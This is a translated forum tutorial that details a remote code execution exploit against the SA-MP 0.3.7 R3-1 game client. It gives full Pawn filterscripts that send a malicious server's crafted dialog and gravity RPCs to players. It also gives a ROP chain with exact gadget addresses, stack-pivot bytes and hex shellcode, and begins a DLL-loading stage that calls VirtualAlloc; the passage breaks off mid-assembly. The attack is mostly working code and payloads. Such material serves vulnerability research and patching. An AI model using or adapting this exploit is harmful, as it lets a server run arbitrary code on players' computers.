open.mp forum
SA-MP RCE — all you wanted to know - Printable Version

+ open.mp forum (https://forum.open.mp)
-- Forum: SA-MP (https://forum.open.mp/forumdisplay.php?fid=3)
--- Forum: Tutorials (https://forum.open.mp/forumdisplay.php?fid=37)
--- Thread: SA-MP RCE — all you wanted to know (/showthread.php?tid=2606)



SA-MP RCE — all you wanted to know - EvgeN 1137 - 2024-02-25

This article in Russian / Эта статья на русском
Note: this article was translated using Google Translate because I'm too lazy to do it by myself. So if you notice some mistakes please let me know and I'll correct them.

Hello everyone. Surely many have heard about some vulnerabilities in SA-MP, about the strange abbreviation RCE, about client versions R4, R4-2, R5, which contain some kind of fixes for these vulnerabilities and which practically no one uses. Well, it's time to reveal all the information in detail.
To fully understand this article and everything that is happening, you will need some knowledge of C++, assembler and reverse engineering. However, if you do not have such knowledge, I will still try to present the information in the most accessible way, in the spirit of a kind of detective story, where nothing is clear, but it is very interesting. Who knows, maybe this article will inspire you to study this area and change your life forever... Well, okay, I got distracted. Let's get started.

Introduction.

So what is this vulnerability and what does RCE mean? In general, RCE, i.e. Remote Code Execution, is a vulnerability that allows you to remotely execute your code in an application. In other words, speaking as an exploiter, you can run arbitrary code (program) using the vulnerable program. Speaking as a potential victim, you could have arbitrary code running without your knowledge and without your knowledge. Roughly speaking, a hacker can force a vulnerable program to download another program and run it. Actually, in our case, this very "vulnerable program" is SA-MP.
Where do such vulnerabilities come from? As a result of mistakes made during program development, SA-MP is no exception in this regard. Often such errors occur due to the possibility of overrunning array boundaries, which allows arbitrary data to be written to other areas of memory.
The search and development of such a vulnerability into the RCE can be divided into the following stages:
1. Search for a potential vulnerability in the program.
2. Analysis of potential opportunities and ways to use.
3. Development of the primary shellcode, which will "open the gates" for us to fully execute arbitrary code.
4. Development of a scenario for using the found RCE.
Well, let's get started.

Stage 1. Search.

To find a vulnerability, it is necessary to purposefully reverse the application in those places where incoming external data is processed, looking for potential overflows and other errors. Sometimes fuzzing can also help, but we won't consider it here. I will be using client version 0.3.7 R3-1, as well as IDA Pro + Hex-Rays as a disassembler and decompiler. I will also take a ready-made database for IDA for client version R3-1 by LUCHARE.
Because I already know where the vulnerability is, I'll just demonstrate a potetntial sequence of actions on how it could be found. So, let's look at the RPC ShowDialog handler at 1000F7B0:
[Image: RLjU2q6.jpeg]
Everything is ok here, let's now take a look at CDialog::Open, there is a large switch-case structure depending on the style of the dialog. Let's look at the code branch for type 2, i.e. for DIALOG_STYLE_LIST. There the function sub_1006F4A0 is immediately called (I will rename it to CDialog::PrepareListbox for convenience), let's look at it:
[Image: 7YBFlTX.jpeg]
Here is the szText buffer for splitting lines in the dialog. A local buffer of 264 elements is used, all necessary checks are present. But now let's look at CDialog::GetTextScreenLength:
[Image: aExuDut.jpeg]
This function uses a local buffer to place a line into it, cut the color codes {xxxxxx} and calculate the width of the text for dialog box creation. And oops, here is a local array with 132 cells, and an array with 264 elements is passed here. Let's take a look at how it is located on the stack:
[Image: VK6yiKi.jpeg]
This function does not save any registers on the stack, including the esp value of the calling function, and the array itself is located "at the bottom" of the stack, so it is immediately followed by the return address. This means that if we pass one single line without hyphens of length 132 to the dialog, we will fill this local array completely, and if we add another 4 bytes, we will completely rewrite the return address. Let's create a test filterscript using the Pawn.RakNet plugin:
Code:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44
};

new BitStream:payload_bs;

public OnFilterScriptInit()
{
payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteString8(payload_bs, "this is caption"); // caption
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);
return 1;
}
return 0;
}
Here a string of 132 spaces is created, and then comes the address 0x44332211. Let's load fs, join the server and enter the command:
[Image: 5ta7ofs.jpeg]
Voila, we get a crash at this address! Thus, at this stage we can go to an arbitrary address.

Stage 2. Analysis.

So, we can jump to any absolute address, which means that our next goal is to write our code somewhere into executable (this is important) memory and jump to this address. And here we face a number of serious problems.
Problem one. You need to write your code not just anywhere, but in executable memory, i.e. to a region in which there are both writing and execution allowed.
Problem two. The string with the contents of the dialog is transmitted as text, while in the RPC structure of the dialog it is compressed by algorithms in the RakNet library, and the null character (0x00) is a sign of the end of the string. This means that we cannot pass a string containing zeros, and we really need them.
Problem three. In the CDialog::PrepareListbox function, string is limited to 256 characters, and we overflow after the 132nd, which means we can go 124 bytes out of bounds. Potentially, this may either be insufficient, or sufficient, but will complicate the task, because we need to manipulate the stack and write our own code, and not just bytes, but kilobytes and even megabytes.
Faced with such problems, it may seem that in this case the vulnerability cannot be implemented at all, but these problems require a comprehensive approach, you need to know some of the features and nuances.
In fact, there could be much more problems, in modern software there are all sorts of stack canary, ASLR, PIE and other horrors, but we are dealing with the ancient GTA San Andreas and SA-MP, where there are no such things or they are disabled intentionally. In addition, SA-MP itself is a mod that dirty hacks the game's memory, which sometimes only makes our work easier.
In particular, SA-MP patches the game's memory by installing its own hooks. By default, executable memory is write-protected, so SA-MP is forced to give executable memory pages write permission in order to write its hooks. The protection is set to the entire page, because you cannot set protection only to some specific bytes. In this case, SA-MP forgets to return the original protection to the page, i.e. set write-protection again, so there remain regions in which writing and executing are allowed at the same time. You can view the memory map, for example, in Cheat Engine:
[Image: 15tAjp7.jpeg]
I liked the region with the address 0x00866000, size 4kb (this is the size of one page), this will be enough. At that address there are string for saving game statistics to an html file. This feature is never used, so you can safely overwrite them there. But for now, let's remember and put this address aside and return to it later.
I would also like to note one feature of SA-MP: it has a feature for changing gravity, i.e. you can set this value from the server. How is this implemented? It's very simple - the client simply writes the received value to a static address in the game itself. There is just one small, but very important detail: for some reason, the execute-protection is removed after setting the gravity. Because gravity is float, i.e. 4 bytes, we can write 4 bytes of executable code to an known address. It would seem that these are only 4 bytes, but we will also return to them a little later and, believe me, they will play a decisive role.
And now about more pressing problems. So, at this step we can go beyond the boundaries of the buffer on the stack, overwrite the return address, thereby we can jump to any known static address and nothing more. We cannot yet write down our code, much less call it. But we can call code that already exists in the game! Or rather, only the fragments we need. This technique is called ROP, i.e. Return-Oriented Programming. For example, we have the following instructions at address 0x00555550: pop ecx; ret; and at address 0x00444440 there is pop edi; ret; Taking advantage of our buffer overflow, we write the following onto the stack:
0x00555550, 0x00000011, 0x00444440, 0x00000022
This is what will happen:
1) When the ret instruction is executed in our CDialog::GetTextScreenLength, an execution will go to address 0x00555550, the esp register will point to the value 0x00000011
2) At address 0x00555550 the pop ecx instruction will be executed, i.e. the value will be taken from the stack and assigned to the ecx register. What do we have there at the top of the stack? That's right, 0x00000011, which means this value will be written to the ecx register, and the esp register will be shifted lower to the value 0x00444440
3) Next the ret instruction will be executed. There will be a jump to address 0x00444440, the esp register will point to 0x00000022
4) At address 0x00444440 the pop edi instruction will be executed, the edi register will be assigned the value 0x00000022
etc.
Thus, with the help of such chains, called rop chains, we can manipulate registers, as well as call other commands we need, in particular, copying data from one memory area to another. The called code fragments themselves are named gadgets, and the main difficulty here is to find suitable gadgets among the entire game code. Tools such as radare2, ROPgadget and others have been created specifically for searching for gadgets, but we will not consider them in this article.
But we have another problem that does not allow us to write zeros to the string, and for rop chains we need them. To solve this (and not only) problem, a technique called stack pivoting is used, which consists in changing the value of esp. Alternatively, we can place our rop chains in a more suitable place, and then replace the esp with this most "suitable place". Question: how to replace esp? Answer: still the same, using a gadget. In total, finding a suitable place for rop chains and finding a suitable gadget for stack pivoting can be the most difficult task, perhaps even without a solution, and, as a consequence, without the ability to implement a vulnerability, but we have a unique case here.
In addition to the dialog text itself, the caption string and the left and right button strings are also sent in RPC. If you inspect the code of the RPC_ShowDialog handler, you will notice that a specified number of bytes are read from the bitstream into a local buffer. The length is limited to 256 characters, and there is no restrctions by the presence of null characters. Great, you can use one of these three buffers, I'll take caption. Now the question is - how to get to it on the stack? The ebp register will help us with this. From the entire chain of calls RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength saving esp in ebp occurs in CDialog::PrepareListbox, i.e. ebp stores the value of esp from CDialog::Open at the time CDialog::PrepareListbox is called. IDA can give us a little hint about where the caption pointer is relative to esp in CDialog::Open:
[Image: l0i9rME.jpeg]
But don't relax. During its exectuion, CDialog::Open saves the values of one of the registers (+1) on the stack, pushes 2 arguments to CDialog::PrepareListbox (+2), calls it (+1), and CDialog::PrepareListbox itself saves the ebp register onto the stack (+1). Thus, saved esp is also shifted up by 5 positions, which means that we need to add 5 times 4 to 0x28, i.e. 0x14. We get 0x3C.
You can calculate it another way by turning on in IDA the display of the stack pointer in the listing:
[Image: lZxulKW.jpeg]
Add to it a shift at call (+0x4), push ebp in the called function (another +0x4), and add a shift to the caption itself:
[Image: kQb6E7m.jpeg]
0x28+0x4+0x4+0xC=0x3C.
But in general, I would not recommend counting this way, because it is easy to make mistakes and miss something here. It is much better to calculate the offset empirically: take a debugger, set a breakpoint, send a dialog with some text to the caption, when the breakpoint is triggered, scroll through the stack window and find there the pointer to the caption using the previously specified text, calculate the difference between it and the ebp value.
So, to set esp to the caption buffer, we need:
Code:
mov esp, dword ptr [ebp+0x3c]
And then execute ret to go to the address of the gadget, which will already be set at the beginning of the caption. But we won't be able to find such a 1-in-1 gadget, because compilers do not generate such code, and finding an alternative sequences of several gadgets can be quite problematic. But why find it when we can record such a gadget ourselves? It's time for our gravity!
To convert assembly code into machine codes, I will use this website. We get the following code:
Code:
0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
3:  c3                      ret
This means that we can set the gravity value to 0xC33C658B, then call the overflow dialog to the address of the gravity variable, and the top of the stack will move to the caption! But don't rush. Looking into memory at the address of the gravity variable, namely 0x00863984, you can see that the next value is 0xC3, and our last instruction is also 0xC3. At the same time, if you represent 0xC33C658B as a float, you get the value -188.396652222, which can have a rather negative effect on the game, because the default value is non-negative and equal to 0.008, anomalies may appear and the game may freeze altogether, so we can juggle a little with the instructions so that the value turns out to be close to 0.008. The best combination would be:
Code:
0:  90                      nop
1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
So we'll get 0x3C658B90, which in float representation will be 0.0140103250742, and it is not even very different from the original. But in any case, we will restore the original value in the end.
Well, let's update our filterscript, namely:
1. Write the address of gravity in the overflowing text buffer, where we have a gadget with stack pivoting.
2. Instead of text, write an arbitrary address in the caption (in the future we will have rop chains there).
3. Let's write a function to set gravity for the player using Pawn.RakNet. We will also implement sending gravity and dialog RPCs in a separate ordering channel with the RELIABLE_ORDERED reliability, so that the RPCs will be received strictly in the order they were sent, and set a low priority (this will be useful in the future).
Code:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x66, 0x77, 0x88, 0x99
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
We compile, load, join the server, enter the command, we get a crash at address 0x99887766, as we specified.
[Image: anC5BLQ.jpeg]
Great! The hardest part is over, now we can move on to the stage of making rop chains and the primary shell.

Stage 3. Development

Now we are faced with 2 tasks. First, we need to find a sequence of gadgets that will copy the shellcode from the stack into the executable memory. The second is to actually code this shellcode, we will place it next to the gadgets in the caption. We need to remember that we are limited to 256 bytes, and the shellcode should help us execute larger code than a couple hundred bytes.
Rep movsb/movsw/movsd instructions are used to copy memory locations. The address where to copy is placed in the edi register, where to copy from - in the esi register, and the number of iterations - in the ecx register. This means we need to find about 4 gadgets. Let's start by finding a gadget to copy. Having looked through all such instructions in the game code, I found one that turned out to be very interesting:
[Image: 7JXAtbV.jpeg]
Here we have very conveniently setup of the esi register, and the address from the stack is loaded there. Just what we need, and one less gadget to setup esi.
Let's start writing our rop chain. Let's set the return address to the lea instruction:
Code:
0x005B2EE6
After performing a copy in the gadget, the values in edi and esi are taken from the stack. We don't need them, so we'll just fill zeros to make the stack correct:
Code:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
Then, we need to specify the address for the next jump. Because at this point our shellcode will be copied, we will jump theme. At the last stage, we determined that we would copy our shellcode to address 0x00866000. We will specify it:
Code:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
Now we need to calculate where to place the shellcode. Because the instruction look like this:
Code:
lea esi, [esp+0x10]
then this means:
Code:
(esp-0x04) 0x005B2EE6 // rep movsd gadget
(esp+0x00) 0x00000000 // edi value
(esp+0x04) 0x00000000 // esi value
(esp+0x08) 0x00866000 // ret to dst
(esp+0x0C) ...
(esp+0x10) ...
This means that after the last return address we need to skip one position. Let's put zeros there too. As a result, our rop chain at now will look like this:
Code:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Now we need to find a gadget to set the value in edi. Everything is simple here, we need to find the sequence of pop edi; ret commands. In binary form it will be 0x5F, 0xC3, so we'll just find this sequence of bytes in the game code. It was found at address 0x00402E8D. This means our rop chain will now look like this:
Code:
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
And finally, the last thing: we need to find a gadget to set the value in ecx. Similarly, we look for pop ecx; ret and find it at 0x00402715. But we need to calculate exactly how many bytes to copy. Let's get a look:
Code:
0x00402715 // pop ecx gadget
0x000000?? // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
The maximum caption array can be 256 in length. Of these, 9 positions on the stack go to our rop chains, which is 36 bytes. Those our shellcode will start from the 37th byte and can go up to the 256th byte at most. Let's copy everything to the end, even if the final shellcode is smaller. This means we need to copy 256 minus 36 bytes, that is 220. It is important to say that movsd copies 4 bytes per iteration, which means we will have 55 iterations, that is 0x37:
Code:
0x00402715 // pop ecx gadget
0x00000037 // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Let's summarize what we have at this step. So, first we send the client a specific gravity value, which contains the code for stack pivoting. Then we overflow using the dialog, which is why when returning from the CDialog::GetTextScreenLength function, execution does not go back to CDialog::PrepareListbox, from where it was called, but to our stack pivoting code. There, the pointer to the stack is replaced, namely, it is installed on the caption buffer from RPC_ShowDialog, in which, using return manipulations, we copy our shellcode into executable memory and execute it.
Our first task with rop chains is solved, let's move on to the second - writing this shellcode. And here we have two, so to speak, subtasks waiting for us. Firstly, after all these manipulations we have a "broken" stack, we must return it to the correct state and carry out the correct further execution of the program, as if nothing had happened. And secondly, download more large code and execute it.
Let me remind you that we had the following chain of calls: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Instead of returning to CDialog::PrepareListbox, we proceeded to execute our shellcode. It would be logical to go back directly to CDialog::PrepareListbox, but, firstly, this is not necessary (since there is nothing important there that would require returning there), and secondly, for ease of implementation we will "mimic" under CDialog::PrepareListbox and at the end return exection to CDialog::Open.
First, we need to set the stack pointer to where it should have been when returning from CDialog::GetTextScreenLength. The ebp register will help us with this again, only now we need to calculate the offset in the other direction. Let's look at the IDA Pro hints again:
[Image: xb01r78.jpeg]
At the moment after calling CDialog::GetTextScreenLength, the stack of CDialog::PrepareListbox is shifted to 0x12C, but since we will restore relative to ebp, and CDialog::PrepareListbox at the very beginning stores the previous value of ebp on the stack, thereby shifting the stack by 4 bytes, then we must subtract these 4 bytes from 0x12C and get 0x128. This means that the first instruction to restore the stack pointer in our shellcode will look like:
Code:
lea esp, [ebp-0x128]
Next, we need to return back to CDialog::Open, so we'll simply copy the epilogue of the CDialog::PrepareListbox function into our shellcode:
Code:
pop    edi
pop    esi
mov    eax, 1
pop    ebx
mov    esp, ebp
pop    ebp
retn    8
At this step, I propose to check the functionality of the shellcode, and for clarity, add a command to set the value of money for the player:
Code:
mov dword ptr [0x00B7CE50], 1137
Our shellcode will look like:
Code:
lea esp, [ebp-0x128]
mov dword ptr [0x00B7CE50], 1137
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
and in binary representation: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00 , 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
Let's update our filterscript:
Code:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
0x15, 0x27, 0x40, 0x00, // pop ecx gadget
0x37, 0x00, 0x00, 0x00, // ecx value
0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
0x00, 0x60, 0x86, 0x00, // edi value
0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
0x00, 0x00, 0x00, 0x00, // edi value
0x00, 0x00, 0x00, 0x00, // esi value
0x00, 0x60, 0x86, 0x00, // ret to dst
0x00, 0x00, 0x00, 0x00, // pad

0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,
0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
for(new i = 0; i < sizeof(payload2); i++) // caption
{
BS_WriteUint8(payload_bs, payload2[i]);
}
BS_WriteString8(payload_bs, "left button"); // left button
BS_WriteString8(payload_bs, "right button"); // right button
BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp("/aasd1", cmdtext, true))
{
PerformRCE(playerid);
return 1;
}
return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
new BitStream:bs = BS_New();
BS_WriteFloat(bs, gravity);
PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}
Join into the game, enter the command, and get the result:
[Image: mOmUC1O.jpeg]
Everything is working! But an empty dialog remains open. Since SA-MP allows you to close any opened dialog by sending a dialog with a negative id. Let's use this. Here we will also not use the native function, but will write our own to send RPCs in a separate ordering channel:
Code:
HidePlayerDialog(playerid)
{
new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
BS_WriteString8(bs, " "); // caption
BS_WriteString8(bs, ""); // left button
BS_WriteString8(bs, ""); // right button
BS_WriteCompressedString(bs, " "); // text
PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
BS_Delete(bs);
}

Stage 4.

Now we have to do something more serious. For example, download and run .exe or load .dll. Let's consider the option with dll. Traditionally, here we are faced with a number of problems that we have to solve. So, the WinAPI LoadLibrary function does not allow loading directly from memory, it can only load from a file. You can create a file from shellcode, place the content there, and then load it. But antiviruses and other protection systems may not like this behavior, and in general it will work unreliably and unstable, so let's put this option aside. There are ways to load a dll from memory, but it is very complex, the implementation of these methods also will not fit into the ~200 bytes available to us. You can compile the dll so that it does not use imports and places its code at a fixed address, and then take this code and place it in accessible memory areas of the game itself at the same addresses. This option has the right to exist and even works, but it is extremely inconvenient and limiting. Fortunately, other developers have also encountered this problem, and therefore there is already a ready-made solution called sRDI. Within this article, I will not go into details and principles of operation of this solution, I will only briefly say the important information necessary for us. This tool modifies the dll so that it loads itself, and it is enough to transfer execution to its first byte.
This means that now we are faced with a very specific task: transfer the dll itself, allocate memory for it without write and execute protection, copy it there, call it. The main question here is how exactly to transfer kilobytes or even megabytes of potential dll from the server to the client. Yes, everything is as simple as possible, you can simply write it to the end of the RPC ShowDialog bitstream! Because compressed text is written at the end, it is necessary to byte-align the pointer to the write. Now the task has become even more specific and clear: in our shellcode we need to allocate memory, copy data from the bitstream there, and call. It would also be nice for our shellcode to determine what size our dll is and allocate the appropriate amount of memory. Well, let's get started.
First we need to get to the bitstream. Remember, in the stack pivoting gadget we got to the pointer to the caption via ebp? This caption was in the RPC ShowDialog handler stackframe. The bitstream object is located there. Let's see:
[Image: UD9MMBG.jpeg]
Yes, it is located right before of this caption!
Code:
mov eax, [ebp+0x3c]
sub eax, 0x118
Next, from the BitStream structure, we need the fields numberOfBitsUsed, readOffset and a pointer to the data named data. They located at the very beginning, at offsets +0x0, +0x8 and +0xC, respectively. We will convert readOffset and numberOfBitsUsed from bits to bytes and subtract the first from the second, thereby get the number of unread bytes. Because we write our dll to the end of the bitstream, and SA-MP reads only the structure for the dialog, then the number of unread bytes will be the size that we need to allocate for copying.
You can see how the conversion from bits to bytes is performed in the RakNet sources:
Code:
#define BITS_TO_BYTES(x) (((x)+7)>>3)
We will do the same. Let's place the values numberOfBitsUsed, readOffset and data in the registers ecx, edx, esi, respectively, convert from bits to bytes, then subtract edx from ecx to get the size of the dll, and add edx to esi to get a pointer to the beginning of our dll, not the beginning of all data. Thus, part of our shellcode with bitstream will look like:
Code:
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118      ;# bitstream
mov ecx, [eax]      ;# numberOfBitsUsed
mov edx, [eax+0x8]  ;# readOffset
mov esi, [eax+0xC]  ;# data ptr
add ecx, 7          ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7          ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size
add esi, edx        ;# data ptr        + readOffset = dll ptr
Now we need to allocate memory. This is done using the WinAPI VirtualAlloc function, its address is in the game import table at 0x8581A4:
Code:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
According to the function documentation, we need to call this function with flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. In dwSize we need to pass the size of the allocated memory area, in lpAddress we need to pass 0. After execution, the address of the allocated area will be placed in the eax register. It is also important to remember that when calling such functions, the values in the ebx, ecx, edx registers may be overwritten, so before the call, their values must be saved on the stack, and after the call, restored. In our case, we no longer need the eax (pointer to the bitstream) and edx (readOffset) registers, we don't use ebx, but we still need ecx, so we need to save it before calling VirtualAlloc. We will also put the value returned in eax into edi for later copying. Thus, our memory allocation part will look like:
Code:
;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE
